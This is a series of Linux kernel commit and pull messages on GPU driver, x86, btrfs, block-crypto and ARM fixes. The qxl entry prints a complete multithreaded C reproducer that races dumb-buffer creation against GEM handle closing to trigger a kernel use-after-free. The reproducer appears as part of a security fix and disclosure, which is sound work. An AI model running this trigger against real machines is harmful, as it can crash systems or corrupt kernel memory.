drm/nouveau: uapi: don't pass NO_PREFETCH flag implicitly
Currently, NO_PREFETCH is passed implicitly through drm_nouveau_gem_pushbuf_push::length and drm_nouveau_exec_push::va_len. Since this is a direct representation of how the HW is programmed it isn't really future proof for a uAPI. Hence, fix this up for the new uAPI and split up the va_len field of struct drm_nouveau_exec_push, such that we keep 32bit for va_len and 32bit for flags. For drm_nouveau_gem_pushbuf_push::length at least provide NOUVEAU_GEM_PUSHBUF_NO_PREFETCH to indicate the bit shift. While at it, fix up nv50_dma_push() as well, such that the caller doesn't need to encode the NO_PREFETCH flag into the length parameter.

drm/nouveau: sched: avoid job races between entities
If a sched job depends on a dma-fence from a job from the same GPU scheduler instance, but a different scheduler entity, the GPU scheduler does only wait for the particular job to be scheduled, rather than for the job to fully complete. This is due to the GPU scheduler assuming that there is a scheduler instance per ring. However, the current implementation, in order to avoid arbitrary amounts of kthreads, has a single scheduler instance while scheduler entities represent rings. As a workaround, set the DRM_SCHED_FENCE_DONT_PIPELINE for all out-fences in order to force the scheduler to wait for full job completion for dependent jobs from different entities and same scheduler instance. There is some work in progress [1] to address the issues of firmware schedulers; once it is in-tree the scheduler topology in Nouveau should be re-worked accordingly.

drm/i915: Fix HPD polling, reenabling the output poll work as needed
After the commit in the Fixes: line below, HPD polling stopped working on i915, since after that change calling drm_kms_helper_poll_enable() doesn't restart drm_mode_config::output_poll_work if the work was stopped (no connectors needing polling) and enabling polling for a connector (during runtime suspend or detecting an HPD IRQ storm). After the above change calling drm_kms_helper_poll_enable() is a nop after it's been called already and polling for some connectors was disabled/re-enabled. Fix this by calling drm_kms_helper_poll_reschedule() added in the previous patch instead, which reschedules the work whenever expected. Fixes: |

drm: Add an HPD poll helper to reschedule the poll work
Add a helper to reschedule drm_mode_config::output_poll_work after
polling has been enabled for a connector (and needing a reschedule,
since previously polling was disabled for all connectors and hence
output_poll_work was not running).
This is needed by the next patch fixing HPD polling on i915.

Pull x86 fixes from Borislav Petkov:
"Extraordinary embargoed times call for extraordinary measures. That's
why this week's x86/urgent branch is larger than usual, containing all
the known fallout fixes after the SRSO mitigation got merged.
I know, it is a bit late in the game but everyone who has reported a
bug stemming from the SRSO pile, has tested that branch and has
confirmed that it fixes their bug.
Also, I've run it on every possible hardware I have and it is looking
good. It is running on this very machine while I'm typing, for 2 days
now without an issue. Famous last words...

blk-crypto: dynamically allocate fallback profile
blk_crypto_profile_init() calls lockdep_register_key(), which warns and
does not register if the provided memory is a static object.
blk-crypto-fallback currently has a static blk_crypto_profile and calls
blk_crypto_profile_init() thereupon, resulting in the warning and
failure to register.
Fortunately it is simple enough to use a dynamically allocated profile
and make lockdep function correctly.

Some pin control fixes for v6.5, fixes two issues with the
Qualcomm SA8775P platform:
- Some minor device tree binding flunky that is nice to iron
out but more importantly:
- Support the increased interrupt targets mask from 3 to 4
bits, making interrupts with higher (hardware) numbers
work.

ARM: SoC fixes for 6.5, part 3
As usual, mostly DT fixes for the major Arm platforms from Qualcomm and
NXP, plus a bit for Rockchips and others:
The qualcomm fixes mainly deal with their higher-end arm64 devices trees,
fixing issues in L3 interconnect, crypto, thermal, UFS and a regression
for the DSI phy.
NXP i.MX has two correctness fixes for the 64-bit chips, dealing with
the imx93 "anatop" module and the CSI interface. On the 32-bit side,
there are functional fixes for RTC, display and SD card intefaces.
Rockchip fixes are for wifi support on certain boards, a eMMC stability
and DT build warnings.
On TI OMAP, a regulator is described in DT to avoid problems with the
ethernet phy initialization.
The code changes include a missing MMIO serialization on OMAP, plus a
few minor fixes on ASpeed and AMD/Zynq chips.

btrfs: fix incorrect splitting in btrfs_drop_extent_map_range
In production we were seeing a variety of WARN_ON()'s in the extent_map
code, specifically in btrfs_drop_extent_map_range() when we have to call
add_extent_mapping() for our second split.
Consider the following extent map layout
PINNED
[0 16K) [32K, 48K)
and then we call btrfs_drop_extent_map_range for [0, 36K), with
skip_pinned == true. The initial loop will have
start = 0
end = 36K
len = 36K
we will find the [0, 16k) extent, but since we are pinned we will skip
it, which has this code
start = em_end;
if (end != (u64)-1)
len = start + len - em_end;
em_end here is 16K, so now the values are
start = 16K
len = 16K + 36K - 16K = 36K
len should instead be 20K. This is a problem when we find the next
extent at [32K, 48K), we need to split this extent to leave [36K, 48k),
however the code for the split looks like this
split->start = start + len;
split->len = em_end - (start + len);
In this case we have
em_end = 48K
split->start = 16K + 36K // this should be 16K + 20K
split->len = 48K - (16K + 36K) // this overflows as 16K + 36K is 52K
and now we have an invalid extent_map in the tree that potentially
overlaps other entries in the extent map. Even in the non-overlapping
case we will have split->start set improperly, which will cause problems
with any block related calculations.
We don't actually need len in this loop, we can simply use end as our
end point, and only adjust start up when we find a pinned extent we need
to skip.
Adjust the logic to do this, which keeps us from inserting an invalid
extent map.
We only skip_pinned in the relocation case, so this is relatively rare,
except in the case where you are running relocation a lot, which can
happen with auto relocation on.

drm/qxl: fix UAF on handle creation
qxl_mode_dumb_create() dereferences the qobj returned by
qxl_gem_object_create_with_handle(), but the handle is the only one
holding a reference to it.
A potential attacker could guess the returned handle value and closes it
between the return of qxl_gem_object_create_with_handle() and the qobj
usage, triggering a use-after-free scenario.
Reproducer:
int dri_fd =-1;
struct drm_mode_create_dumb arg = {0};
void gem_close(int handle);
void* trigger(void* ptr)
{
int ret;
arg.width = arg.height = 0x20;
arg.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg);
if(ret)
{
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
gem_close(arg.handle);
while(1) {
struct drm_mode_create_dumb args = {0};
args.width = args.height = 0x20;
args.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args);
if (ret) {
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle);
gem_close(args.handle);
}
return NULL;
}
void gem_close(int handle)
{
struct drm_gem_close args;
args.handle = handle;
int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle
if (!ret)
printf("gem close handle %d\n", args.handle);
}
int main(void)
{
dri_fd= open("/dev/dri/card0", O_RDWR);
printf("fd:%d\n", dri_fd);
if(dri_fd == -1)
return -1;
pthread_t tid1;
if(pthread_create(&tid1,NULL,trigger,NULL)){
perror("[*] thread_create tid1\n");
return -1;
}
while (1)
{
gem_close(arg.handle);
}
return 0;

Disabling lock debugging due to kernel taint
Instead of returning a weak reference to the qxl_bo object, return the
created drm_gem_object and let the caller decrement the reference count
when it no longer needs it. As a convenience, if the caller is not
interested in the gobj object, it can pass NULL to the parameter and the
reference counting is descremented internally.
The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940).
